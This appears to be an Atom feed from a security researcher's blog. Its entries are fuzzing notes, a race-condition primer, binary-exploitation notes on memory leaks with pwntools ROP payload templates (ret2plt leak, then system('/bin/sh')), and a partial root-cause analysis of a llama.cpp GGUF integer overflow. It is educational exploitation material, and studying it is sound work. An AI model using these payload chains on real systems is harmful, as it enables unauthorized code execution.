<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://t1b4n3.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://t1b4n3.github.io/" rel="alternate" type="text/html" /><updated>2026-08-27T13:59:44+02:00</updated><id>https://t1b4n3.github.io/feed.xml</id><title type="html">t1b4n3</title><subtitle>Offensive Security Researcher</subtitle><entry><title type="html">Fuzzing</title><link href="https://t1b4n3.github.io/notes/fuzzing/" rel="alternate" type="text/html" title="Fuzzing" /><published>2026-08-25T00:00:00+02:00</published><updated>2026-08-25T00:00:00+02:00</updated><id>https://t1b4n3.github.io/notes/fuzzing</id><content type="html" xml:base="https://t1b4n3.github.io/notes/fuzzing/"><![CDATA[<h1 id="fuzzing---remove">Fuzzing - remove</h1>

<p><a href="https://en.wikipedia.org/wiki/Fuzzing">Fuzzing</a> is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a program. The program is then monitored for exceptions such as crashes or memory leaks.</p>
<h2 id="types-of-fuzzing">Types of fuzzing.</h2>

<ol>
  <li><strong>Dumb Fuzzing</strong> (Black-Box):
    <ul>
      <li>Very simple modifications to legitimate data, often consisting of generating completely random data. It treats the program as black box and is unaware of internal program structure.</li>
      <li>It is easy to setup and it identifies low hanging fruit or shallow bugs.</li>
    </ul>
  </li>
  <li><strong>White Box Fuzzing</strong>:
    <ul>
      <li>Leverages program analysis such as symbolic execution  to systematically increase coverage or reach critical program locations.</li>
    </ul>
  </li>
  <li><strong>Coverage-Guided Fuzzing</strong> (Grey-Box):
    <ul>
      <li>Leverages instrumentation to gain information about the program’s execution structure (code coverage or basic block transitions)</li>
      <li>The fuzzer prioritises inputs that explore new code paths.</li>
      <li>It is efficient for vulnerability detection.</li>
    </ul>
  </li>
  <li><strong>Smart Fuzzing</strong>:
    <ul>
      <li>Uses the knowledge of the input structure to generate inputs.</li>
      <li>This generates a lot of inputs that the target application understands, leading to improved code coverage and faster fuzzing time.</li>
      <li>This requires an input model.</li>
    </ul>
  </li>
  <li><strong>Mutation-Based Fuzzing</strong>:
    <ul>
      <li>Generates inputs by modifying an existing corpus of valid seed inputs.</li>
    </ul>
  </li>
  <li><strong>Generation-Based Fuzzing</strong>:
    <ul>
      <li>Generates inputs from scratch, often leveraging a predefined input model.</li>
    </ul>
  </li>
</ol>

<h2 id="why-fuzzing-is-used">Why Fuzzing is Used?</h2>

<p>Fuzzing is important component of security testing and software development for a several reasons:</p>

<ol>
  <li><strong>Vulnerability Detection</strong>
    <ul>
      <li>It is used to find security vulnerabilities that might be exploited by for malicious intent.</li>
      <li>Some of the security vulnerabilities are:
        <ul>
          <li>Memory corruption bugs in languages like C or C++.
            <ul>
              <li>Buffer Overflows</li>
              <li>Use After Free</li>
            </ul>
          </li>
          <li>Code injection issues.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Black-Box Testing:
    <ul>
      <li>Fuzzing allows researchers to identify flaws in software without having full access to the source code, using a black-box approach.</li>
    </ul>
  </li>
  <li>Validation:
    <ul>
      <li>Fuzzing can be used to validate the findings of static analysis tools.</li>
      <li>If static analysis reports a potential problem, fuzzing can generate an input that actually triggers that issue.</li>
    </ul>
  </li>
</ol>

<h3 id="corpus">Corpus</h3>

<p>A corpus  is the set of input samples that the fuzzer uses to explore the target program. The samples are usually small, valid, and diverse inputs that help the fuzzer maximize code coverage.</p>

<p>A good corpus is crucial for code coverage because fuzzers like AFL++, libfuzzer, etc. mutate the files in the corpus to discover new paths, crashes, and behaviors.</p>

<hr />
<h2 id="fuzzing-using-afl">Fuzzing using AFL++</h2>

<p><code class="language-plaintext highlighter-rouge">AFL++</code> is a coverage-based fuzzer. It keeps track of which areas of the binary are being executed.</p>

<p><strong>Main coverage of AFL++</strong></p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">PCGUARD</code> = <code class="language-plaintext highlighter-rouge">afl-clang-fast</code>
    <ul>
      <li>This is a type of code coverage instrumentation mechanism implemented within <code class="language-plaintext highlighter-rouge">LLVM</code> for fuzzing purposes. It works by inserting additional instructions that record the program’s execution path.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">LTO</code> = <code class="language-plaintext highlighter-rouge">afl-clang-lto</code>
    <ul>
      <li>This is an <code class="language-plaintext highlighter-rouge">LLVM</code>-based instrumentation technique used with the fuzzer AFL, unitlizing Link-Time Optimization (LTO). LTO optimizes during the linking phase enabling whole program optimization and precise instrumentation for fuzzing.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">GCC_PLUGIN</code> = <code class="language-plaintext highlighter-rouge">afl-gcc-fast</code></li>
</ol>

<p><strong>Which one to choose?</strong></p>

<p><code class="language-plaintext highlighter-rouge">alf-clang-fast</code> - it is quicker to set u but offers less sophisticated optimizations.</p>
<ul>
  <li>When you need fast compilation times.</li>
  <li>When fuzzing smaller and simpler applications.
<code class="language-plaintext highlighter-rouge">afl-clang-lto</code> - produces larger binaries but results in more effective fuzzing.</li>
  <li>When you require whole program optimization (large or complext applications)</li>
  <li>When performance is critical</li>
</ul>

<p><strong>How it works</strong>:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">AFL++</code> instruments the target binary to gather information on how inputs affect code paths during execution.</li>
  <li><code class="language-plaintext highlighter-rouge">AFL++</code> uses a genetic algorithm to evolve its input set over time, mutating and recombining inputs that produce interesting results to explore as much of the code-base as possible.</li>
  <li><code class="language-plaintext highlighter-rouge">AFL++</code> is a coverage guided fuzzer.</li>
</ul>

<p><strong><code class="language-plaintext highlighter-rouge">AFL++</code> key features</strong>:</p>
<ul>
  <li>Instrumentation:
    <ul>
      <li>Involves compiling the code with a specialized AFL compiler. This compiler inserts additional instructions into the program allowing it to monitor and record a coverage map.</li>
      <li>It also enables the use of sanitizers, which help detect bugs that may not cause crashes but could still lead to issues.</li>
    </ul>
  </li>
  <li>Mutation:
    <ul>
      <li>The process of altering existing test inputs to create new ones that could trigger new code paths or reveal hidden vulnerabilities.</li>
      <li>The mutated inputs are executed against the target program, with those expanding coverage or causing crashes being prioritized for further mutation.</li>
    </ul>
  </li>
</ul>

<h4 id="link-time-optimization">Link Time Optimization</h4>

<p><code class="language-plaintext highlighter-rouge">Link Time Optimization</code> allows compilers to perform whole program optimizations during the linking phase, leading to faster and smaller executables.</p>

<p>In the context of fuzzing it enables specific instrumentation modes in some fuzzers
benefits:</p>
<ul>
  <li>Faster binaries.</li>
  <li>More precise coverage information(edge coverage).</li>
  <li>Better optimization compatibility.</li>
  <li>More reliable feedback to the fuzzer (improves performance and path discovery).
    <h4 id="white-box">White Box</h4>
  </li>
</ul>

<ol>
  <li>Build from source using <code class="language-plaintext highlighter-rouge">afl-gcc-fast / afl-g++-fast</code>  or <code class="language-plaintext highlighter-rouge">afl-clang-fast / afl-clang++-fast</code>
    <ul>
      <li>e.g.  <code class="language-plaintext highlighter-rouge">CC=afl-gcc-fast cXX=afl-g++fast ./configure --prefix="$HOME/install_folder/</code></li>
      <li>e.g. ``</li>
    </ul>
  </li>
  <li>Run the fuzzer
    <ul>
      <li>e.g: <code class="language-plaintext highlighter-rouge">afl-fuzz -i ./input -o ./output -s 123 -- ./binary ./output_information</code>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">-i</code> indicates the directory for input cases</li>
          <li><code class="language-plaintext highlighter-rouge">-o</code> indicates the directory where <code class="language-plaintext highlighter-rouge">AFL++</code>will store mutated file</li>
          <li><code class="language-plaintext highlighter-rouge">-s</code> indicates the static random seed to use</li>
          <li><code class="language-plaintext highlighter-rouge">@@</code> is the placeholder target’s command line that <code class="language-plaintext highlighter-rouge">AFL</code> will substitute with each input file name.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>`</li>
</ol>]]></content><author><name></name></author><category term="Notes" /><category term="fuzzing" /><summary type="html"><![CDATA[Fuzzing - remove]]></summary></entry><entry><title type="html">Race Conditions</title><link href="https://t1b4n3.github.io/guide/race-conditions/" rel="alternate" type="text/html" title="Race Conditions" /><published>2026-08-20T00:00:00+02:00</published><updated>2026-08-20T00:00:00+02:00</updated><id>https://t1b4n3.github.io/guide/race-conditions</id><content type="html" xml:base="https://t1b4n3.github.io/guide/race-conditions/"><![CDATA[<h1 id="race-condtions">Race condtions</h1>

<p>Race conditions are a class of software bugs, often tied to concurrency and timing issues in a system. Race conditions arise from multiple processes/threads that operate on a shared object.</p>

<p>Within user-land processes, most race conditions reduce to races in the file system, while in kernel they are present in various places.</p>

<p>Exploits based on race conditions typically require repeated attempts within the short time period.</p>
<h2 id="time-of-check-to-time-of-use-toctou">Time-of-Check to Time-of-Use (TOCTOU)</h2>

<p><code class="language-plaintext highlighter-rouge">TOCTOU</code> is caused by race conditions that involves checking the state of a part of a system and then using the result of that check.</p>

<p>The issue is that applications cannot assume that the state managed by a operating system will not change between system calls.</p>

<p>Exploiting a TOCTOU race condition requires highly precise timing to ensure the attacker’s operations interleave properly with the victim’s operations. Techniques to achieve this single-stepping of the victim program include using file system mazes or algorithmic complexity attacks to manipulate the OS scheduling state</p>]]></content><author><name></name></author><category term="Guide" /><summary type="html"><![CDATA[Race condtions]]></summary></entry><entry><title type="html">Information Disclosure in Software Exploitation.</title><link href="https://t1b4n3.github.io/notes/heap-exploitation/information-disclosure/" rel="alternate" type="text/html" title="Information Disclosure in Software Exploitation." /><published>2026-08-14T00:00:00+02:00</published><updated>2026-08-14T00:00:00+02:00</updated><id>https://t1b4n3.github.io/notes/heap-exploitation/information-disclosure</id><content type="html" xml:base="https://t1b4n3.github.io/notes/heap-exploitation/information-disclosure/"><![CDATA[<h1 id="informationmemory-disclosure-in-binary-exploitation">Information/Memory Disclosure In Binary Exploitation</h1>

<h5 id="what-is-a-memory-leak">What is a memory leak?</h5>

<p>A <strong>memory disclosure</strong> is any primitive in a binary that reveals bytes from the program’s memory such as addresses, pointers, strings and even metadata. Information leaks help bypass security mitigations such as Address Space Layout Randomization (ASLR), Position Independent Executable (PIE), etc. by giving you an pointer that you can use to compute a base address such <code class="language-plaintext highlighter-rouge">libc</code>, PIE, heap, etc. base addresses</p>

<h5 id="why-do-they-matter">Why do they matter?</h5>

<ul>
  <li>The can be used to bypass exploit mitigations that depend on randomization such as ASLR or stack canaries.</li>
  <li>They can disclose information meant to be secrets in memory.</li>
  <li>Info leaks are needed for reliable exploit development.
    <h2 id="common-leak-primitives">Common leak Primitives</h2>
  </li>
</ul>

<h3 id="uninitialized-data-access-uda">Uninitialized Data Access (UDA)</h3>

<p>When a program uses a local variable that has not been explicitly initialized, it may contain data left over from previous stack frames. If this initialized variable is used and printed to the user, it can leak information like memory addresses or user data.</p>

<h3 id="partial-overwrites">Partial Overwrites.</h3>

<p>I can’t really say that this is a info leak but it is also useful when you only know the least significant bits of a address.</p>

<p>Overwrite the target partially (LSB), leaving only some original bytes. Heap/stack spraying may be needed.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code></code></pre></div></div>

<h3 id="format-string-read">Format String Read</h3>

<p>A format string is a dangerous bug that can be exploited easily. It can be leveraged to perform arbitrary read/write primitive. In this case we will focus on arbitrary read.</p>

<p>If an attacker supplies format specifiers (such as <code class="language-plaintext highlighter-rouge">%x</code> or <code class="language-plaintext highlighter-rouge">%p</code>) but does not provide corresponding arguments, the <code class="language-plaintext highlighter-rouge">printf</code> function will unexpectedly pull values from the stack and use them as arguments.</p>

<p>This vulnerability occurs when user-supplied input is passed directly to a function, such as one from the <code class="language-plaintext highlighter-rouge">printf</code> family.  These functions use a format string to specify how arguments should be interpreted allowing for a variable number of arguments.</p>

<p>correct usage</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">age</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="s">"t1b4n3"</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Name: %s</span><span class="se">\n</span><span class="s">Age: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">age</span><span class="p">);</span>
</code></pre></div></div>

<p>As expected, we get</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: t1b4n3
Age: 20
</code></pre></div></div>

<p>What happens when w do no pass any arguments</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">printf</span><span class="p">(</span><span class="s">"Name: %p</span><span class="se">\n</span><span class="s">Age: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
</code></pre></div></div>

<p>It leaks some addresses from the stack.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: 0x7ffc94aa2578
Age: 0x7ffc94aa2588
</code></pre></div></div>

<p>What happened?</p>

<p>Since <code class="language-plaintext highlighter-rouge">printf</code> expects as many parameters as the format specifiers and since those are not provided it grabs the values off the stack.</p>
<h3 id="out-of-bounds-read">Out-Of-Bounds Read</h3>

<p>An out-of-bounds read occurs when a program attempts to access or read data from a memory address that is outside a buffer or structure it is supposed to be operating on.</p>

<p>This is typically caused by a programming errors where there is no bounds checking performed on the input received.</p>

<h3 id="return-oriented-programming-rop">Return Oriented Programming (ROP)</h3>

<h4 id="ret2plt">Ret2plt</h4>
<p>The goal of this technique is to call <code class="language-plaintext highlighter-rouge">puts</code> or <code class="language-plaintext highlighter-rouge">printf</code> with the Global Offset Table (GOT) entry of a libc function to print its resolved address. The leaked address/pointer can be used to compute <code class="language-plaintext highlighter-rouge">libc_base</code> address.</p>

<p>Process:</p>
<ol>
  <li>Overflow into saved return address.</li>
  <li>Call <code class="language-plaintext highlighter-rouge">puts@plt</code> or <code class="language-plaintext highlighter-rouge">printf@plt</code> with GOT entry.</li>
  <li>Return to main.</li>
  <li>Use leak to compute <code class="language-plaintext highlighter-rouge">libc_base</code> address
    <ul>
      <li>e.g. lets say we leaked the GOT entry for <code class="language-plaintext highlighter-rouge">puts</code> then <code class="language-plaintext highlighter-rouge">libc_base = leaked_address - libc.symbols['puts]</code></li>
    </ul>
  </li>
  <li>Use leak to pwn the binary.</li>
</ol>

<p>Payload Example (pwntools)</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span> <span class="c1"># offset = overflow offset to saved return address
</span>	<span class="n">pop_rdi</span><span class="p">,</span> <span class="c1"># 'pop rdi; ret' gadget
</span>	<span class="n">puts_got</span><span class="p">,</span> <span class="c1"># puts GOT entry | into rdi register
</span>	<span class="n">puts_plt</span><span class="p">,</span> <span class="c1"># call puts 
</span>	<span class="n">main_addr</span><span class="p">,</span> <span class="c1"># return to main to send second stage
</span><span class="p">)</span>
<span class="c1"># recv leak and unpack
</span><span class="n">leak</span> <span class="o">=</span> <span class="nf">u64</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="nf">recvline</span><span class="p">().</span><span class="nf">strip</span><span class="p">().</span><span class="nf">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">))</span>
<span class="c1"># compute libc base
</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="sh">'</span><span class="s">puts</span><span class="sh">'</span><span class="p">]</span>
<span class="c1"># from here use libc base to get shell
</span><span class="n">second_stage_payload</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span>
	<span class="n">pop_rdi</span><span class="p">,</span>
	<span class="nf">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="sh">"</span><span class="p">)),</span>
	<span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="sh">'</span><span class="s">system</span><span class="sh">'</span><span class="p">]</span>
<span class="p">)</span>
<span class="c1"># send second stage and get shell
</span></code></pre></div></div>

<h4 id="write-syscall">Write Syscall</h4>
<p>If a binary exports a <code class="language-plaintext highlighter-rouge">write</code> or has the <code class="language-plaintext highlighter-rouge">syscall</code> gadget, you can directly write raw memory to standard output <code class="language-plaintext highlighter-rouge">stdout</code>. This is useful when RELRO prevents GOT modification or when you want to avoid PLT resolution issues.</p>

<p>This technique needs the following gadgets:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi</code> -&gt; 1 (stdout)</li>
  <li><code class="language-plaintext highlighter-rouge">pop rsi</code> -&gt; target address</li>
  <li><code class="language-plaintext highlighter-rouge">pop rdx</code> -&gt; size</li>
</ul>

<p>If the gadgets are not available you can use the <a href="https://ir0nstone.gitbook.io/notes/binexp/stack/ret2csu">ret2csu</a> technique to populate those registers.</p>

<p>Process:</p>
<ul>
  <li>Overflow into saved return address</li>
  <li>populate the registers.</li>
  <li>call <code class="language-plaintext highlighter-rouge">write</code>. If <code class="language-plaintext highlighter-rouge">write</code> is not exported the populate the <code class="language-plaintext highlighter-rouge">rax/eax</code> registers with correct system call number and call the <code class="language-plaintext highlighter-rouge">syscall</code> gadget.</li>
</ul>

<p>Example</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># if write plt is available
</span><span class="n">payload</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span> <span class="c1">#  offset = overflow offset to saved return address
</span>	<span class="n">pop_rdi_rsi_rdx</span><span class="p">,</span> <span class="c1"># `pop rdi; pop rsi; pop rdx` gadgets
</span>	<span class="mh">0x1</span><span class="p">,</span> <span class="c1">#rdi
</span>	<span class="n">target_addr</span><span class="p">,</span> <span class="c1">#rsi
</span>	<span class="mh">0x20</span><span class="p">,</span> <span class="c1"># rdx
</span>	<span class="n">write_plt</span> 
<span class="p">)</span>
<span class="c1"># or
</span><span class="n">payload</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span> <span class="c1">#  offset = overflow offset to saved return address
</span>	<span class="n">pop_rdi_rsi_rdx</span><span class="p">,</span> <span class="c1"># `pop rdi; pop rsi; pop rdx` gadgets
</span>	<span class="mh">0x1</span><span class="p">,</span> <span class="c1">#rdi
</span>	<span class="n">target_addr</span><span class="p">,</span> <span class="c1">#rsi
</span>	<span class="mh">0x20</span><span class="p">,</span> <span class="c1"># rdx
</span>	<span class="n">pop_rax</span><span class="p">,</span>
	<span class="n">syscall_write_num</span><span class="p">,</span>
	<span class="n">syscall_gadget</span>
<span class="p">)</span>
</code></pre></div></div>

<h3 id="use-after-free">Use-After-Free</h3>

<h4 id="libc-leak-via-unsorted-bin-attack">Libc leak via unsorted bin attack</h4>

<p>A common technique to get libc leak is to free a big chunk (larger than 400 bytes) so it gets into the unsorted bin. The unsorted bin is a doubly linked list and its list head is stored in the libc’s data section, when we free a chunk into the unsorted bin for the first time, its backward pointer (<code class="language-plaintext highlighter-rouge">bk</code>) then points into the libc, at a known offset. If we can leak this pointer, than we can compute the base address of libc.</p>

<p><strong>What If we do not control the size of the heap memory allocations?</strong></p>

<p>A double free vulnerability would be used to get an chunk that overlaps with another chunk’s metadata, this way we can modify the chunk’s metadata to make the allocator think it is a big chunk and place it in the unsorted bin upon freeing it.</p>

<p>A small problem is that when a chunk is allocated if it borders the top chunk of the heap, it is placed back into the top chunk when we free it. We can prevent this by placing a another chunk (often called a guard chunk) between our big chunk and the top chunk without freeing it, this prevent the allocator from returning the big chunk to the top of the heap, thus placing it in a bin.</p>

<p>free chunk structure</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">malloc_chunk</span> <span class="p">{</span>
  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_prev_size</span><span class="p">;</span>  <span class="cm">/* Size of previous chunk, if it is free. */</span>
  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_size</span><span class="p">;</span>       <span class="cm">/* Size in bytes, including overhead. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span>                <span class="cm">/* double links -- used only if this chunk is free. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span>
  <span class="cm">/* Only used for large blocks: pointer to next larger size.  */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd_nextsize</span><span class="p">;</span> <span class="cm">/* double links -- used only if this chunk is free. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk_nextsize</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">mchunkptr</span><span class="p">;</span>
</code></pre></div></div>

<p>The address/pointer that will help compute the libc base address is at offset :</p>

<p><strong>32 bit</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// metadata</span>
<span class="n">prev_size</span><span class="p">;</span> <span class="c1">// -0x8</span>
<span class="n">size</span><span class="p">;</span> <span class="c1">// -0x4</span>
<span class="c1">// end metadata</span>
<span class="n">fd</span><span class="p">;</span> <span class="c1">// 0x0</span>
<span class="n">bk</span><span class="p">;</span> <span class="c1">// 0x4</span>
<span class="n">fd_nextsize</span><span class="p">;</span> <span class="c1">// 0x8</span>
<span class="n">bk_nextsize</span><span class="p">;</span> <span class="c1">// 0xc</span>
</code></pre></div></div>

<p>At offset <code class="language-plaintext highlighter-rouge">0xc</code></p>

<p><strong>64 bit</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">prev_size</span><span class="p">;</span> <span class="c1">// -0x10</span>
<span class="n">size</span><span class="p">;</span> <span class="c1">// -0x8</span>
<span class="c1">// end metadata</span>
<span class="n">fd</span><span class="p">;</span> <span class="c1">// 0x0</span>
<span class="n">bk</span><span class="p">;</span> <span class="c1">// 0x8</span>
<span class="n">fd_nextsize</span><span class="p">;</span> <span class="c1">// 0x10</span>
<span class="n">bk_nextsize</span><span class="p">;</span> <span class="c1">// 0x18</span>
</code></pre></div></div>

<p>At offset <code class="language-plaintext highlighter-rouge">0x18</code></p>

<p>Steps:</p>
<ul>
  <li>Allocate 9 chunks
    <ul>
      <li>chunks from 1 to 7 will be used to fill tcache</li>
      <li>chunk 8 will be placed in unsorted bin when freed</li>
      <li>chunk 9 prevents top chunk consolidation</li>
    </ul>
  </li>
  <li>Free the first 8 chunks</li>
  <li>Use a use after free of the chunk that is in the unsorted bin to leak the <code class="language-plaintext highlighter-rouge">bk</code> pointer which will be a libc addres</li>
  <li>Use the libc address to calculate libc base address.</li>
</ul>

<p>Example</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
</code></pre></div></div>

<h4 id="read-after-free">Read After Free</h4>

<p>read a heap chunk pointer</p>

<h3 id="heap-disclosure-via-race-conditions">Heap Disclosure via Race Conditions</h3>

<p>Security checks that do not properly use mutexes are ineffective in a multithreaded environment.</p>

<h3 id="type-confusion">Type Confusion.</h3>

<p>Replace a freed object memory chunk with a different object type of same size.</p>]]></content><author><name></name></author><category term="Notes" /><category term="heap-exploitation" /><category term="info-leak" /><summary type="html"><![CDATA[Information/Memory Disclosure In Binary Exploitation]]></summary></entry><entry><title type="html">Exploring a Integer Overflow that leads Heap OOB R/W in the GGUF Parser: Root Cause Analysis in CVE-2025-53630</title><link href="https://t1b4n3.github.io/research/cve-analysis/CVE-2025-53630/" rel="alternate" type="text/html" title="Exploring a Integer Overflow that leads Heap OOB R/W in the GGUF Parser: Root Cause Analysis in CVE-2025-53630" /><published>2026-04-16T00:00:00+02:00</published><updated>2026-04-16T00:00:00+02:00</updated><id>https://t1b4n3.github.io/research/cve-analysis/CVE-2025-53630</id><content type="html" xml:base="https://t1b4n3.github.io/research/cve-analysis/CVE-2025-53630/"><![CDATA[<p>c</p>

<h3 id="llamacpp">llama.cpp</h3>

<blockquote>
  <p>Project Description
<code class="language-plaintext highlighter-rouge">The main goal of llama.cpp is to enable LLM inference with minimal setup and state-of-the-art performance on a wide range of hardware - locally and in the cloud.</code></p>
</blockquote>

<p><a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a> is a open source library that enables efficient LLM inference directly on consumer hardware. The framework is build around the GGML tensor library and the GGUF file format, which allows for fast model loading and quantization to reduce memory usage while maintaining performance.</p>
<h4 id="what-is-gguf">What is GGUF?</h4>

<p><a href="https://github.com/ggml-org/ggml/blob/master/docs/gguf.md">GGUF</a> (GPT-Generated Unified Format) is a binary format designed for efficient storage, compression and deployment of large language models (LLMs).</p>

<p>The File Structure</p>

<p><img src="https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/hub/gguf-spec.png" alt="GGUF Model" />
<a href="https://huggingface.co/docs/hub/en/gguf">Source</a></p>
<h4 id="a-tensor">A tensor</h4>

<p>In a GGUF file, a tensor represents the fundamental unit of model data, containing the <strong>weights</strong>, <strong>biases</strong>, and <strong>normalization parameters</strong> that define the neural network’s structure. Each tensor is described by a metadata header specifying its <strong>name</strong>, <strong>shape (dimensions)</strong>, <strong>data type</strong> and <strong>offset</strong>, followed immediately by its <strong>binary data block</strong> which stores the actual numerical values in a packed quantized format.</p>

<h2 id="about-vulnerability">About vulnerability</h2>

<blockquote>
  <p>Summary 
The vulnerability stems from unchecked arithmetic during the accumulation of tensor sizes. The GGUF parser fails to validate that the sum of all tensor sizes remain within the bounds of <code class="language-plaintext highlighter-rouge">UINT64_MAX</code>. This results in an integer overflow, leading to a heap-based buffer overflow during model initialization.</p>
</blockquote>

<p>This vulnerability occurs in the GGUF parser in the <code class="language-plaintext highlighter-rouge">gguf_init_from_file_impl()</code> function in <code class="language-plaintext highlighter-rouge">ggml/src/gguf.cpp</code>. The vulnerability is a Integer Overflow that can lead to a heap Out-of-Bounds Read/Write.</p>

<p><code class="language-plaintext highlighter-rouge">gguf_init_from_file_impl()</code> iterates through tensor information read from the GGUF file and in this function there is a integer overflow vulnerability because of GGUF tensor size calculations (total size required for all tensor data). The size is stored in <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code> which is a <code class="language-plaintext highlighter-rouge">size_t</code> variable.</p>

<p>The core bug happens here:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// compute the total size of the data section, taking into account the alignment</span>
<span class="p">{</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// [1]</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">info</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">const</span> <span class="n">gguf_tensor_info</span> <span class="o">&amp;</span> <span class="n">ti</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">info</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">ti</span><span class="p">.</span><span class="n">offset</span> <span class="o">!=</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">GGML_LOG_ERROR</span><span class="p">(</span><span class="s">"%s: tensor '%s' has offset %"</span> <span class="n">PRIu64</span> <span class="s">", </span><span class="err">
</span><span class="s">			expected %zu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">__func__</span><span class="p">,</span> <span class="n">ti</span><span class="p">.</span><span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">ti</span><span class="p">.</span><span class="n">offset</span><span class="p">,</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">);</span>
			<span class="n">GGML_LOG_ERROR</span><span class="p">(</span><span class="s">"%s: failed to read tensor data</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__func__</span><span class="p">);</span>
			<span class="n">gguf_free</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>
			<span class="k">return</span> <span class="n">nullptr</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">+=</span> <span class="n">GGML_PAD</span><span class="p">(</span><span class="n">ggml_nbytes</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ti</span><span class="p">.</span><span class="n">t</span><span class="p">),</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">alignment</span><span class="p">);</span> <span class="c1">// [2]</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

